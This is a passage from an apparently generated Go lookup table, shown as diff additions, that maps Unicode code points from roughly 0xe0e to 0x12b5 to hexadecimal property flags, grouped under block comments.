0x0080, 0xe0e: 0x0080, 0xe0f: 0x0080, 0xe10: 0x0080, 0xe11: 0x0080, + 0xe12: 0x0080, 0xe13: 0x0080, 0xe14: 0x0080, 0xe15: 0x0080, 0xe16: 0x0080, 0xe17: 0x0080, + 0xe18: 0x00c3, 0xe19: 0x00c3, 0xe1a: 0x0080, 0xe1b: 0x0080, 0xe1c: 0x0080, 0xe1d: 0x0080, + 0xe1e: 0x0080, 0xe1f: 0x0080, 0xe20: 0x00c0, 0xe21: 0x00c0, 0xe22: 0x00c0, 0xe23: 0x00c0, + 0xe24: 0x00c0, 0xe25: 0x00c0, 0xe26: 0x00c0, 0xe27: 0x00c0, 0xe28: 0x00c0, 0xe29: 0x00c0, + 0xe2a: 0x0080, 0xe2b: 0x0080, 0xe2c: 0x0080, 0xe2d: 0x0080, 0xe2e: 0x0080, 0xe2f: 0x0080, + 0xe30: 0x0080, 0xe31: 0x0080, 0xe32: 0x0080, 0xe33: 0x0080, 0xe34: 0x0080, 0xe35: 0x00c3, + 0xe36: 0x0080, 0xe37: 0x00c3, 0xe38: 0x0080, 0xe39: 0x00c3, 0xe3a: 0x0080, 0xe3b: 0x0080, + 0xe3c: 0x0080, 0xe3d: 0x0080, 0xe3e: 0x00c0, 0xe3f: 0x00c0, + // Block 0x39, offset 0xe40 + 0xe40: 0x00c0, 0xe41: 0x00c0, 0xe42: 0x00c0, 0xe43: 0x0080, 0xe44: 0x00c0, 0xe45: 0x00c0, + 0xe46: 0x00c0, 0xe47: 0x00c0, 0xe49: 0x00c0, 0xe4a: 0x00c0, 0xe4b: 0x00c0, + 0xe4c: 0x00c0, 0xe4d: 0x0080, 0xe4e: 0x00c0, 0xe4f: 0x00c0, 0xe50: 0x00c0, 0xe51: 0x00c0, + 0xe52: 0x0080, 0xe53: 0x00c0, 0xe54: 0x00c0, 0xe55: 0x00c0, 0xe56: 0x00c0, 0xe57: 0x0080, + 0xe58: 0x00c0, 0xe59: 0x00c0, 0xe5a: 0x00c0, 0xe5b: 0x00c0, 0xe5c: 0x0080, 0xe5d: 0x00c0, + 0xe5e: 0x00c0, 0xe5f: 0x00c0, 0xe60: 0x00c0, 0xe61: 0x00c0, 0xe62: 0x00c0, 0xe63: 0x00c0, + 0xe64: 0x00c0, 0xe65: 0x00c0, 0xe66: 0x00c0, 0xe67: 0x00c0, 0xe68: 0x00c0, 0xe69: 0x0080, + 0xe6a: 0x00c0, 0xe6b: 0x00c0, 0xe6c: 0x00c0, + 0xe71: 0x00c3, 0xe72: 0x00c3, 0xe73: 0x0083, 0xe74: 0x00c3, 0xe75: 0x0083, + 0xe76: 0x0083, 0xe77: 0x0083, 0xe78: 0x0083, 0xe79: 0x0083, 0xe7a: 0x00c3, 0xe7b: 0x00c3, + 0xe7c: 0x00c3, 0xe7d: 0x00c3, 0xe7e: 0x00c3, 0xe7f: 0x00c0, + // Block 0x3a, offset 0xe80 + 0xe80: 0x00c3, 0xe81: 0x0083, 0xe82: 0x00c3, 0xe83: 0x00c3, 0xe84: 0x00c6, 0xe85: 0x0080, + 0xe86: 0x00c3, 0xe87: 0x00c3, 0xe88: 0x00c0, 0xe89: 0x00c0, 0xe8a: 0x00c0, 0xe8b: 0x00c0, + 0xe8c: 0x00c0, 0xe8d: 0x00c3, 0xe8e: 0x00c3, 0xe8f: 0x00c3, 0xe90: 0x00c3, 0xe91: 0x00c3, + 0xe92: 0x00c3, 0xe93: 0x0083, 0xe94: 0x00c3, 0xe95: 0x00c3, 0xe96: 0x00c3, 0xe97: 0x00c3, + 0xe99: 0x00c3, 0xe9a: 0x00c3, 0xe9b: 0x00c3, 0xe9c: 0x00c3, 0xe9d: 0x0083, + 0xe9e: 0x00c3, 0xe9f: 0x00c3, 0xea0: 0x00c3, 0xea1: 0x00c3, 0xea2: 0x0083, 0xea3: 0x00c3, + 0xea4: 0x00c3, 0xea5: 0x00c3, 0xea6: 0x00c3, 0xea7: 0x0083, 0xea8: 0x00c3, 0xea9: 0x00c3, + 0xeaa: 0x00c3, 0xeab: 0x00c3, 0xeac: 0x0083, 0xead: 0x00c3, 0xeae: 0x00c3, 0xeaf: 0x00c3, + 0xeb0: 0x00c3, 0xeb1: 0x00c3, 0xeb2: 0x00c3, 0xeb3: 0x00c3, 0xeb4: 0x00c3, 0xeb5: 0x00c3, + 0xeb6: 0x00c3, 0xeb7: 0x00c3, 0xeb8: 0x00c3, 0xeb9: 0x0083, 0xeba: 0x00c3, 0xebb: 0x00c3, + 0xebc: 0x00c3, 0xebe: 0x0080, 0xebf: 0x0080, + // Block 0x3b, offset 0xec0 + 0xec0: 0x0080, 0xec1: 0x0080, 0xec2: 0x0080, 0xec3: 0x0080, 0xec4: 0x0080, 0xec5: 0x0080, + 0xec6: 0x00c3, 0xec7: 0x0080, 0xec8: 0x0080, 0xec9: 0x0080, 0xeca: 0x0080, 0xecb: 0x0080, + 0xecc: 0x0080, 0xece: 0x0080, 0xecf: 0x0080, 0xed0: 0x0080, 0xed1: 0x0080, + 0xed2: 0x0080, 0xed3: 0x0080, 0xed4: 0x0080, 0xed5: 0x0080, 0xed6: 0x0080, 0xed7: 0x0080, + 0xed8: 0x0080, 0xed9: 0x0080, 0xeda: 0x0080, + // Block 0x3c, offset 0xf00 + 0xf00: 0x00c0, 0xf01: 0x00c0, 0xf02: 0x00c0, 0xf03: 0x00c0, 0xf04: 0x00c0, 0xf05: 0x00c0, + 0xf06: 0x00c0, 0xf07: 0x00c0, 0xf08: 0x00c0, 0xf09: 0x00c0, 0xf0a: 0x00c0, 0xf0b: 0x00c0, + 0xf0c: 0x00c0, 0xf0d: 0x00c0, 0xf0e: 0x00c0, 0xf0f: 0x00c0, 0xf10: 0x00c0, 0xf11: 0x00c0, + 0xf12: 0x00c0, 0xf13: 0x00c0, 0xf14: 0x00c0, 0xf15: 0x00c0, 0xf16: 0x00c0, 0xf17: 0x00c0, + 0xf18: 0x00c0, 0xf19: 0x00c0, 0xf1a: 0x00c0, 0xf1b: 0x00c0, 0xf1c: 0x00c0, 0xf1d: 0x00c0, + 0xf1e: 0x00c0, 0xf1f: 0x00c0, 0xf20: 0x00c0, 0xf21: 0x00c0, 0xf22: 0x00c0, 0xf23: 0x00c0, + 0xf24: 0x00c0, 0xf25: 0x00c0, 0xf26: 0x00c0, 0xf27: 0x00c0, 0xf28: 0x00c0, 0xf29: 0x00c0, + 0xf2a: 0x00c0, 0xf2b: 0x00c0, 0xf2c: 0x00c0, 0xf2d: 0x00c3, 0xf2e: 0x00c3, 0xf2f: 0x00c3, + 0xf30: 0x00c3, 0xf31: 0x00c0, 0xf32: 0x00c3, 0xf33: 0x00c3, 0xf34: 0x00c3, 0xf35: 0x00c3, + 0xf36: 0x00c3, 0xf37: 0x00c3, 0xf38: 0x00c0, 0xf39: 0x00c6, 0xf3a: 0x00c6, 0xf3b: 0x00c0, + 0xf3c: 0x00c0, 0xf3d: 0x00c3, 0xf3e: 0x00c3, 0xf3f: 0x00c0, + // Block 0x3d, offset 0xf40 + 0xf40: 0x00c0, 0xf41: 0x00c0, 0xf42: 0x00c0, 0xf43: 0x00c0, 0xf44: 0x00c0, 0xf45: 0x00c0, + 0xf46: 0x00c0, 0xf47: 0x00c0, 0xf48: 0x00c0, 0xf49: 0x00c0, 0xf4a: 0x0080, 0xf4b: 0x0080, + 0xf4c: 0x0080, 0xf4d: 0x0080, 0xf4e: 0x0080, 0xf4f: 0x0080, 0xf50: 0x00c0, 0xf51: 0x00c0, + 0xf52: 0x00c0, 0xf53: 0x00c0, 0xf54: 0x00c0, 0xf55: 0x00c0, 0xf56: 0x00c0, 0xf57: 0x00c0, + 0xf58: 0x00c3, 0xf59: 0x00c3, 0xf5a: 0x00c0, 0xf5b: 0x00c0, 0xf5c: 0x00c0, 0xf5d: 0x00c0, + 0xf5e: 0x00c3, 0xf5f: 0x00c3, 0xf60: 0x00c3, 0xf61: 0x00c0, 0xf62: 0x00c0, 0xf63: 0x00c0, + 0xf64: 0x00c0, 0xf65: 0x00c0, 0xf66: 0x00c0, 0xf67: 0x00c0, 0xf68: 0x00c0, 0xf69: 0x00c0, + 0xf6a: 0x00c0, 0xf6b: 0x00c0, 0xf6c: 0x00c0, 0xf6d: 0x00c0, 0xf6e: 0x00c0, 0xf6f: 0x00c0, + 0xf70: 0x00c0, 0xf71: 0x00c3, 0xf72: 0x00c3, 0xf73: 0x00c3, 0xf74: 0x00c3, 0xf75: 0x00c0, + 0xf76: 0x00c0, 0xf77: 0x00c0, 0xf78: 0x00c0, 0xf79: 0x00c0, 0xf7a: 0x00c0, 0xf7b: 0x00c0, + 0xf7c: 0x00c0, 0xf7d: 0x00c0, 0xf7e: 0x00c0, 0xf7f: 0x00c0, + // Block 0x3e, offset 0xf80 + 0xf80: 0x00c0, 0xf81: 0x00c0, 0xf82: 0x00c3, 0xf83: 0x00c0, 0xf84: 0x00c0, 0xf85: 0x00c3, + 0xf86: 0x00c3, 0xf87: 0x00c0, 0xf88: 0x00c0, 0xf89: 0x00c0, 0xf8a: 0x00c0, 0xf8b: 0x00c0, + 0xf8c: 0x00c0, 0xf8d: 0x00c3, 0xf8e: 0x00c0, 0xf8f: 0x00c0, 0xf90: 0x00c0, 0xf91: 0x00c0, + 0xf92: 0x00c0, 0xf93: 0x00c0, 0xf94: 0x00c0, 0xf95: 0x00c0, 0xf96: 0x00c0, 0xf97: 0x00c0, + 0xf98: 0x00c0, 0xf99: 0x00c0, 0xf9a: 0x00c0, 0xf9b: 0x00c0, 0xf9c: 0x00c0, 0xf9d: 0x00c3, + 0xf9e: 0x0080, 0xf9f: 0x0080, 0xfa0: 0x00c0, 0xfa1: 0x00c0, 0xfa2: 0x00c0, 0xfa3: 0x00c0, + 0xfa4: 0x00c0, 0xfa5: 0x00c0, 0xfa6: 0x00c0, 0xfa7: 0x00c0, 0xfa8: 0x00c0, 0xfa9: 0x00c0, + 0xfaa: 0x00c0, 0xfab: 0x00c0, 0xfac: 0x00c0, 0xfad: 0x00c0, 0xfae: 0x00c0, 0xfaf: 0x00c0, + 0xfb0: 0x00c0, 0xfb1: 0x00c0, 0xfb2: 0x00c0, 0xfb3: 0x00c0, 0xfb4: 0x00c0, 0xfb5: 0x00c0, + 0xfb6: 0x00c0, 0xfb7: 0x00c0, 0xfb8: 0x00c0, 0xfb9: 0x00c0, 0xfba: 0x00c0, 0xfbb: 0x00c0, + 0xfbc: 0x00c0, 0xfbd: 0x00c0, 0xfbe: 0x00c0, 0xfbf: 0x00c0, + // Block 0x3f, offset 0xfc0 + 0xfc0: 0x00c0, 0xfc1: 0x00c0, 0xfc2: 0x00c0, 0xfc3: 0x00c0, 0xfc4: 0x00c0, 0xfc5: 0x00c0, + 0xfc7: 0x00c0, + 0xfcd: 0x00c0, 0xfd0: 0x00c0, 0xfd1: 0x00c0, + 0xfd2: 0x00c0, 0xfd3: 0x00c0, 0xfd4: 0x00c0, 0xfd5: 0x00c0, 0xfd6: 0x00c0, 0xfd7: 0x00c0, + 0xfd8: 0x00c0, 0xfd9: 0x00c0, 0xfda: 0x00c0, 0xfdb: 0x00c0, 0xfdc: 0x00c0, 0xfdd: 0x00c0, + 0xfde: 0x00c0, 0xfdf: 0x00c0, 0xfe0: 0x00c0, 0xfe1: 0x00c0, 0xfe2: 0x00c0, 0xfe3: 0x00c0, + 0xfe4: 0x00c0, 0xfe5: 0x00c0, 0xfe6: 0x00c0, 0xfe7: 0x00c0, 0xfe8: 0x00c0, 0xfe9: 0x00c0, + 0xfea: 0x00c0, 0xfeb: 0x00c0, 0xfec: 0x00c0, 0xfed: 0x00c0, 0xfee: 0x00c0, 0xfef: 0x00c0, + 0xff0: 0x00c0, 0xff1: 0x00c0, 0xff2: 0x00c0, 0xff3: 0x00c0, 0xff4: 0x00c0, 0xff5: 0x00c0, + 0xff6: 0x00c0, 0xff7: 0x00c0, 0xff8: 0x00c0, 0xff9: 0x00c0, 0xffa: 0x00c0, 0xffb: 0x0080, + 0xffc: 0x0080, 0xffd: 0x00c0, 0xffe: 0x00c0, 0xfff: 0x00c0, + // Block 0x40, offset 0x1000 + 0x1000: 0x0040, 0x1001: 0x0040, 0x1002: 0x0040, 0x1003: 0x0040, 0x1004: 0x0040, 0x1005: 0x0040, + 0x1006: 0x0040, 0x1007: 0x0040, 0x1008: 0x0040, 0x1009: 0x0040, 0x100a: 0x0040, 0x100b: 0x0040, + 0x100c: 0x0040, 0x100d: 0x0040, 0x100e: 0x0040, 0x100f: 0x0040, 0x1010: 0x0040, 0x1011: 0x0040, + 0x1012: 0x0040, 0x1013: 0x0040, 0x1014: 0x0040, 0x1015: 0x0040, 0x1016: 0x0040, 0x1017: 0x0040, + 0x1018: 0x0040, 0x1019: 0x0040, 0x101a: 0x0040, 0x101b: 0x0040, 0x101c: 0x0040, 0x101d: 0x0040, + 0x101e: 0x0040, 0x101f: 0x0040, 0x1020: 0x0040, 0x1021: 0x0040, 0x1022: 0x0040, 0x1023: 0x0040, + 0x1024: 0x0040, 0x1025: 0x0040, 0x1026: 0x0040, 0x1027: 0x0040, 0x1028: 0x0040, 0x1029: 0x0040, + 0x102a: 0x0040, 0x102b: 0x0040, 0x102c: 0x0040, 0x102d: 0x0040, 0x102e: 0x0040, 0x102f: 0x0040, + 0x1030: 0x0040, 0x1031: 0x0040, 0x1032: 0x0040, 0x1033: 0x0040, 0x1034: 0x0040, 0x1035: 0x0040, + 0x1036: 0x0040, 0x1037: 0x0040, 0x1038: 0x0040, 0x1039: 0x0040, 0x103a: 0x0040, 0x103b: 0x0040, + 0x103c: 0x0040, 0x103d: 0x0040, 0x103e: 0x0040, 0x103f: 0x0040, + // Block 0x41, offset 0x1040 + 0x1040: 0x00c0, 0x1041: 0x00c0, 0x1042: 0x00c0, 0x1043: 0x00c0, 0x1044: 0x00c0, 0x1045: 0x00c0, + 0x1046: 0x00c0, 0x1047: 0x00c0, 0x1048: 0x00c0, 0x104a: 0x00c0, 0x104b: 0x00c0, + 0x104c: 0x00c0, 0x104d: 0x00c0, 0x1050: 0x00c0, 0x1051: 0x00c0, + 0x1052: 0x00c0, 0x1053: 0x00c0, 0x1054: 0x00c0, 0x1055: 0x00c0, 0x1056: 0x00c0, + 0x1058: 0x00c0, 0x105a: 0x00c0, 0x105b: 0x00c0, 0x105c: 0x00c0, 0x105d: 0x00c0, + 0x1060: 0x00c0, 0x1061: 0x00c0, 0x1062: 0x00c0, 0x1063: 0x00c0, + 0x1064: 0x00c0, 0x1065: 0x00c0, 0x1066: 0x00c0, 0x1067: 0x00c0, 0x1068: 0x00c0, 0x1069: 0x00c0, + 0x106a: 0x00c0, 0x106b: 0x00c0, 0x106c: 0x00c0, 0x106d: 0x00c0, 0x106e: 0x00c0, 0x106f: 0x00c0, + 0x1070: 0x00c0, 0x1071: 0x00c0, 0x1072: 0x00c0, 0x1073: 0x00c0, 0x1074: 0x00c0, 0x1075: 0x00c0, + 0x1076: 0x00c0, 0x1077: 0x00c0, 0x1078: 0x00c0, 0x1079: 0x00c0, 0x107a: 0x00c0, 0x107b: 0x00c0, + 0x107c: 0x00c0, 0x107d: 0x00c0, 0x107e: 0x00c0, 0x107f: 0x00c0, + // Block 0x42, offset 0x1080 + 0x1080: 0x00c0, 0x1081: 0x00c0, 0x1082: 0x00c0, 0x1083: 0x00c0, 0x1084: 0x00c0, 0x1085: 0x00c0, + 0x1086: 0x00c0, 0x1087: 0x00c0, 0x1088: 0x00c0, 0x108a: 0x00c0, 0x108b: 0x00c0, + 0x108c: 0x00c0, 0x108d: 0x00c0, 0x1090: 0x00c0, 0x1091: 0x00c0, + 0x1092: 0x00c0, 0x1093: 0x00c0, 0x1094: 0x00c0, 0x1095: 0x00c0, 0x1096: 0x00c0, 0x1097: 0x00c0, + 0x1098: 0x00c0, 0x1099: 0x00c0, 0x109a: 0x00c0, 0x109b: 0x00c0, 0x109c: 0x00c0, 0x109d: 0x00c0, + 0x109e: 0x00c0, 0x109f: 0x00c0, 0x10a0: 0x00c0, 0x10a1: 0x00c0, 0x10a2: 0x00c0, 0x10a3: 0x00c0, + 0x10a4: 0x00c0, 0x10a5: 0x00c0, 0x10a6: 0x00c0, 0x10a7: 0x00c0, 0x10a8: 0x00c0, 0x10a9: 0x00c0, + 0x10aa: 0x00c0, 0x10ab: 0x00c0, 0x10ac: 0x00c0, 0x10ad: 0x00c0, 0x10ae: 0x00c0, 0x10af: 0x00c0, + 0x10b0: 0x00c0, 0x10b2: 0x00c0, 0x10b3: 0x00c0, 0x10b4: 0x00c0, 0x10b5: 0x00c0, + 0x10b8: 0x00c0, 0x10b9: 0x00c0, 0x10ba: 0x00c0, 0x10bb: 0x00c0, + 0x10bc: 0x00c0, 0x10bd: 0x00c0, 0x10be: 0x00c0, + // Block 0x43, offset 0x10c0 + 0x10c0: 0x00c0, 0x10c2: 0x00c0, 0x10c3: 0x00c0, 0x10c4: 0x00c0, 0x10c5: 0x00c0, + 0x10c8: 0x00c0, 0x10c9: 0x00c0, 0x10ca: 0x00c0, 0x10cb: 0x00c0, + 0x10cc: 0x00c0, 0x10cd: 0x00c0, 0x10ce: 0x00c0, 0x10cf: 0x00c0, 0x10d0: 0x00c0, 0x10d1: 0x00c0, + 0x10d2: 0x00c0, 0x10d3: 0x00c0, 0x10d4: 0x00c0, 0x10d5: 0x00c0, 0x10d6: 0x00c0, + 0x10d8: 0x00c0, 0x10d9: 0x00c0, 0x10da: 0x00c0, 0x10db: 0x00c0, 0x10dc: 0x00c0, 0x10dd: 0x00c0, + 0x10de: 0x00c0, 0x10df: 0x00c0, 0x10e0: 0x00c0, 0x10e1: 0x00c0, 0x10e2: 0x00c0, 0x10e3: 0x00c0, + 0x10e4: 0x00c0, 0x10e5: 0x00c0, 0x10e6: 0x00c0, 0x10e7: 0x00c0, 0x10e8: 0x00c0, 0x10e9: 0x00c0, + 0x10ea: 0x00c0, 0x10eb: 0x00c0, 0x10ec: 0x00c0, 0x10ed: 0x00c0, 0x10ee: 0x00c0, 0x10ef: 0x00c0, + 0x10f0: 0x00c0, 0x10f1: 0x00c0, 0x10f2: 0x00c0, 0x10f3: 0x00c0, 0x10f4: 0x00c0, 0x10f5: 0x00c0, + 0x10f6: 0x00c0, 0x10f7: 0x00c0, 0x10f8: 0x00c0, 0x10f9: 0x00c0, 0x10fa: 0x00c0, 0x10fb: 0x00c0, + 0x10fc: 0x00c0, 0x10fd: 0x00c0, 0x10fe: 0x00c0, 0x10ff: 0x00c0, + // Block 0x44, offset 0x1100 + 0x1100: 0x00c0, 0x1101: 0x00c0, 0x1102: 0x00c0, 0x1103: 0x00c0, 0x1104: 0x00c0, 0x1105: 0x00c0, + 0x1106: 0x00c0, 0x1107: 0x00c0, 0x1108: 0x00c0, 0x1109: 0x00c0, 0x110a: 0x00c0, 0x110b: 0x00c0, + 0x110c: 0x00c0, 0x110d: 0x00c0, 0x110e: 0x00c0, 0x110f: 0x00c0, 0x1110: 0x00c0, + 0x1112: 0x00c0, 0x1113: 0x00c0, 0x1114: 0x00c0, 0x1115: 0x00c0, + 0x1118: 0x00c0, 0x1119: 0x00c0, 0x111a: 0x00c0, 0x111b: 0x00c0, 0x111c: 0x00c0, 0x111d: 0x00c0, + 0x111e: 0x00c0, 0x111f: 0x00c0, 0x1120: 0x00c0, 0x1121: 0x00c0, 0x1122: 0x00c0, 0x1123: 0x00c0, + 0x1124: 0x00c0, 0x1125: 0x00c0, 0x1126: 0x00c0, 0x1127: 0x00c0, 0x1128: 0x00c0, 0x1129: 0x00c0, + 0x112a: 0x00c0, 0x112b: 0x00c0, 0x112c: 0x00c0, 0x112d: 0x00c0, 0x112e: 0x00c0, 0x112f: 0x00c0, + 0x1130: 0x00c0, 0x1131: 0x00c0, 0x1132: 0x00c0, 0x1133: 0x00c0, 0x1134: 0x00c0, 0x1135: 0x00c0, + 0x1136: 0x00c0, 0x1137: 0x00c0, 0x1138: 0x00c0, 0x1139: 0x00c0, 0x113a: 0x00c0, 0x113b: 0x00c0, + 0x113c: 0x00c0, 0x113d: 0x00c0, 0x113e: 0x00c0, 0x113f: 0x00c0, + // Block 0x45, offset 0x1140 + 0x1140: 0x00c0, 0x1141: 0x00c0, 0x1142: 0x00c0, 0x1143: 0x00c0, 0x1144: 0x00c0, 0x1145: 0x00c0, + 0x1146: 0x00c0, 0x1147: 0x00c0, 0x1148: 0x00c0, 0x1149: 0x00c0, 0x114a: 0x00c0, 0x114b: 0x00c0, + 0x114c: 0x00c0, 0x114d: 0x00c0, 0x114e: 0x00c0, 0x114f: 0x00c0, 0x1150: 0x00c0, 0x1151: 0x00c0, + 0x1152: 0x00c0, 0x1153: 0x00c0, 0x1154: 0x00c0, 0x1155: 0x00c0, 0x1156: 0x00c0, 0x1157: 0x00c0, + 0x1158: 0x00c0, 0x1159: 0x00c0, 0x115a: 0x00c0, 0x115d: 0x00c3, + 0x115e: 0x00c3, 0x115f: 0x00c3, 0x1160: 0x0080, 0x1161: 0x0080, 0x1162: 0x0080, 0x1163: 0x0080, + 0x1164: 0x0080, 0x1165: 0x0080, 0x1166: 0x0080, 0x1167: 0x0080, 0x1168: 0x0080, 0x1169: 0x0080, + 0x116a: 0x0080, 0x116b: 0x0080, 0x116c: 0x0080, 0x116d: 0x0080, 0x116e: 0x0080, 0x116f: 0x0080, + 0x1170: 0x0080, 0x1171: 0x0080, 0x1172: 0x0080, 0x1173: 0x0080, 0x1174: 0x0080, 0x1175: 0x0080, + 0x1176: 0x0080, 0x1177: 0x0080, 0x1178: 0x0080, 0x1179: 0x0080, 0x117a: 0x0080, 0x117b: 0x0080, + 0x117c: 0x0080, + // Block 0x46, offset 0x1180 + 0x1180: 0x00c0, 0x1181: 0x00c0, 0x1182: 0x00c0, 0x1183: 0x00c0, 0x1184: 0x00c0, 0x1185: 0x00c0, + 0x1186: 0x00c0, 0x1187: 0x00c0, 0x1188: 0x00c0, 0x1189: 0x00c0, 0x118a: 0x00c0, 0x118b: 0x00c0, + 0x118c: 0x00c0, 0x118d: 0x00c0, 0x118e: 0x00c0, 0x118f: 0x00c0, 0x1190: 0x0080, 0x1191: 0x0080, + 0x1192: 0x0080, 0x1193: 0x0080, 0x1194: 0x0080, 0x1195: 0x0080, 0x1196: 0x0080, 0x1197: 0x0080, + 0x1198: 0x0080, 0x1199: 0x0080, + 0x11a0: 0x00c0, 0x11a1: 0x00c0, 0x11a2: 0x00c0, 0x11a3: 0x00c0, + 0x11a4: 0x00c0, 0x11a5: 0x00c0, 0x11a6: 0x00c0, 0x11a7: 0x00c0, 0x11a8: 0x00c0, 0x11a9: 0x00c0, + 0x11aa: 0x00c0, 0x11ab: 0x00c0, 0x11ac: 0x00c0, 0x11ad: 0x00c0, 0x11ae: 0x00c0, 0x11af: 0x00c0, + 0x11b0: 0x00c0, 0x11b1: 0x00c0, 0x11b2: 0x00c0, 0x11b3: 0x00c0, 0x11b4: 0x00c0, 0x11b5: 0x00c0, + 0x11b6: 0x00c0, 0x11b7: 0x00c0, 0x11b8: 0x00c0, 0x11b9: 0x00c0, 0x11ba: 0x00c0, 0x11bb: 0x00c0, + 0x11bc: 0x00c0, 0x11bd: 0x00c0, 0x11be: 0x00c0, 0x11bf: 0x00c0, + // Block 0x47, offset 0x11c0 + 0x11c0: 0x00c0, 0x11c1: 0x00c0, 0x11c2: 0x00c0, 0x11c3: 0x00c0, 0x11c4: 0x00c0, 0x11c5: 0x00c0, + 0x11c6: 0x00c0, 0x11c7: 0x00c0, 0x11c8: 0x00c0, 0x11c9: 0x00c0, 0x11ca: 0x00c0, 0x11cb: 0x00c0, + 0x11cc: 0x00c0, 0x11cd: 0x00c0, 0x11ce: 0x00c0, 0x11cf: 0x00c0, 0x11d0: 0x00c0, 0x11d1: 0x00c0, + 0x11d2: 0x00c0, 0x11d3: 0x00c0, 0x11d4: 0x00c0, 0x11d5: 0x00c0, 0x11d6: 0x00c0, 0x11d7: 0x00c0, + 0x11d8: 0x00c0, 0x11d9: 0x00c0, 0x11da: 0x00c0, 0x11db: 0x00c0, 0x11dc: 0x00c0, 0x11dd: 0x00c0, + 0x11de: 0x00c0, 0x11df: 0x00c0, 0x11e0: 0x00c0, 0x11e1: 0x00c0, 0x11e2: 0x00c0, 0x11e3: 0x00c0, + 0x11e4: 0x00c0, 0x11e5: 0x00c0, 0x11e6: 0x00c0, 0x11e7: 0x00c0, 0x11e8: 0x00c0, 0x11e9: 0x00c0, + 0x11ea: 0x00c0, 0x11eb: 0x00c0, 0x11ec: 0x00c0, 0x11ed: 0x00c0, 0x11ee: 0x00c0, 0x11ef: 0x00c0, + 0x11f0: 0x00c0, 0x11f1: 0x00c0, 0x11f2: 0x00c0, 0x11f3: 0x00c0, 0x11f4: 0x00c0, 0x11f5: 0x00c0, + 0x11f8: 0x00c0, 0x11f9: 0x00c0, 0x11fa: 0x00c0, 0x11fb: 0x00c0, + 0x11fc: 0x00c0, 0x11fd: 0x00c0, + // Block 0x48, offset 0x1200 + 0x1200: 0x0080, 0x1201: 0x00c0, 0x1202: 0x00c0, 0x1203: 0x00c0, 0x1204: 0x00c0, 0x1205: 0x00c0, + 0x1206: 0x00c0, 0x1207: 0x00c0, 0x1208: 0x00c0, 0x1209: 0x00c0, 0x120a: 0x00c0, 0x120b: 0x00c0, + 0x120c: 0x00c0, 0x120d: 0x00c0, 0x120e: 0x00c0, 0x120f: 0x00c0, 0x1210: 0x00c0, 0x1211: 0x00c0, + 0x1212: 0x00c0, 0x1213: 0x00c0, 0x1214: 0x00c0, 0x1215: 0x00c0, 0x1216: 0x00c0, 0x1217: 0x00c0, + 0x1218: 0x00c0, 0x1219: 0x00c0, 0x121a: 0x00c0, 0x121b: 0x00c0, 0x121c: 0x00c0, 0x121d: 0x00c0, + 0x121e: 0x00c0, 0x121f: 0x00c0, 0x1220: 0x00c0, 0x1221: 0x00c0, 0x1222: 0x00c0, 0x1223: 0x00c0, + 0x1224: 0x00c0, 0x1225: 0x00c0, 0x1226: 0x00c0, 0x1227: 0x00c0, 0x1228: 0x00c0, 0x1229: 0x00c0, + 0x122a: 0x00c0, 0x122b: 0x00c0, 0x122c: 0x00c0, 0x122d: 0x00c0, 0x122e: 0x00c0, 0x122f: 0x00c0, + 0x1230: 0x00c0, 0x1231: 0x00c0, 0x1232: 0x00c0, 0x1233: 0x00c0, 0x1234: 0x00c0, 0x1235: 0x00c0, + 0x1236: 0x00c0, 0x1237: 0x00c0, 0x1238: 0x00c0, 0x1239: 0x00c0, 0x123a: 0x00c0, 0x123b: 0x00c0, + 0x123c: 0x00c0, 0x123d: 0x00c0, 0x123e: 0x00c0, 0x123f: 0x00c0, + // Block 0x49, offset 0x1240 + 0x1240: 0x00c0, 0x1241: 0x00c0, 0x1242: 0x00c0, 0x1243: 0x00c0, 0x1244: 0x00c0, 0x1245: 0x00c0, + 0x1246: 0x00c0, 0x1247: 0x00c0, 0x1248: 0x00c0, 0x1249: 0x00c0, 0x124a: 0x00c0, 0x124b: 0x00c0, + 0x124c: 0x00c0, 0x124d: 0x00c0, 0x124e: 0x00c0, 0x124f: 0x00c0, 0x1250: 0x00c0, 0x1251: 0x00c0, + 0x1252: 0x00c0, 0x1253: 0x00c0, 0x1254: 0x00c0, 0x1255: 0x00c0, 0x1256: 0x00c0, 0x1257: 0x00c0, + 0x1258: 0x00c0, 0x1259: 0x00c0, 0x125a: 0x00c0, 0x125b: 0x00c0, 0x125c: 0x00c0, 0x125d: 0x00c0, + 0x125e: 0x00c0, 0x125f: 0x00c0, 0x1260: 0x00c0, 0x1261: 0x00c0, 0x1262: 0x00c0, 0x1263: 0x00c0, + 0x1264: 0x00c0, 0x1265: 0x00c0, 0x1266: 0x00c0, 0x1267: 0x00c0, 0x1268: 0x00c0, 0x1269: 0x00c0, + 0x126a: 0x00c0, 0x126b: 0x00c0, 0x126c: 0x00c0, 0x126d: 0x0080, 0x126e: 0x0080, 0x126f: 0x00c0, + 0x1270: 0x00c0, 0x1271: 0x00c0, 0x1272: 0x00c0, 0x1273: 0x00c0, 0x1274: 0x00c0, 0x1275: 0x00c0, + 0x1276: 0x00c0, 0x1277: 0x00c0, 0x1278: 0x00c0, 0x1279: 0x00c0, 0x127a: 0x00c0, 0x127b: 0x00c0, + 0x127c: 0x00c0, 0x127d: 0x00c0, 0x127e: 0x00c0, 0x127f: 0x00c0, + // Block 0x4a, offset 0x1280 + 0x1280: 0x0080, 0x1281: 0x00c0, 0x1282: 0x00c0, 0x1283: 0x00c0, 0x1284: 0x00c0, 0x1285: 0x00c0, + 0x1286: 0x00c0, 0x1287: 0x00c0, 0x1288: 0x00c0, 0x1289: 0x00c0, 0x128a: 0x00c0, 0x128b: 0x00c0, + 0x128c: 0x00c0, 0x128d: 0x00c0, 0x128e: 0x00c0, 0x128f: 0x00c0, 0x1290: 0x00c0, 0x1291: 0x00c0, + 0x1292: 0x00c0, 0x1293: 0x00c0, 0x1294: 0x00c0, 0x1295: 0x00c0, 0x1296: 0x00c0, 0x1297: 0x00c0, + 0x1298: 0x00c0, 0x1299: 0x00c0, 0x129a: 0x00c0, 0x129b: 0x0080, 0x129c: 0x0080, + 0x12a0: 0x00c0, 0x12a1: 0x00c0, 0x12a2: 0x00c0, 0x12a3: 0x00c0, + 0x12a4: 0x00c0, 0x12a5: 0x00c0, 0x12a6: 0x00c0, 0x12a7: 0x00c0, 0x12a8: 0x00c0, 0x12a9: 0x00c0, + 0x12aa: 0x00c0, 0x12ab: 0x00c0, 0x12ac: 0x00c0, 0x12ad: 0x00c0, 0x12ae: 0x00c0, 0x12af: 0x00c0, + 0x12b0: 0x00c0, 0x12b1: 0x00c0, 0x12b2: 0x00c0, 0x12b3: 0x00c0, 0x12b4: 0x00c0, 0x12b5: 0x00c0, + 